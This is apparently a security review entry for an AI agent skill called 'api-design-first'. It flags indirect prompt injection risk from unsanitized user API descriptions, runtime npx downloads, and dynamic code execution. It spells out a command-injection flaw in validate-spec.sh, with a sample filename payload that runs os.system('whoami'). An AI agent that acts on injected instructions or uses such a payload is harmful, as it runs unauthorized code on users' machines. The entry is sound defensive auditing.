The Agent Skills Directory

[INDIRECT_PROMPT_INJECTION]: The skill processes untrusted user requirements to generate architectural specifications and code.
Ingestion points: User-provided API requirements and resource models described in natural language are used to generate OpenAPI, GraphQL, and gRPC definitions in SKILL.md.
Boundary markers: None identified; the skill does not instruct the agent to ignore or delimit embedded commands in user-provided API descriptions.
Capability inventory: The skill provides shell scripts (scripts/validate-spec.sh, scripts/generate-mock.sh) that execute external tools via npx and invoke Python commands.
Sanitization: There is no explicit sanitization of user-provided resource names or descriptions before they are interpolated into the generated specifications.
[EXTERNAL_DOWNLOADS]: The skill invokes external package managers to fetch tools at runtime.
Evidence: scripts/generate-mock.sh and scripts/validate-spec.sh use npx to fetch and execute @stoplight/prism-cli and @stoplight/spectral-cli from the NPM registry.
[COMMAND_EXECUTION]: The provided YAML validation script contains a flaw that allows for arbitrary command execution.
Evidence: scripts/validate-spec.sh contains the command python3 -c "import yaml; yaml.safe_load(open('$SPEC'))". Because the $SPEC variable (the filename) is interpolated directly into the Python command string within single quotes, a filename containing a single quote (e.g., test.yaml'); import os; os.system('whoami'); #) will execute arbitrary Python code.
[DYNAMIC_EXECUTION]: The skill relies on dynamic loading and execution of Node.js packages.
Evidence: The mock and validation scripts dynamically resolve and run tools using npx, and the validation script generates and executes Python code snippets on the fly to check YAML integrity.

api-design-first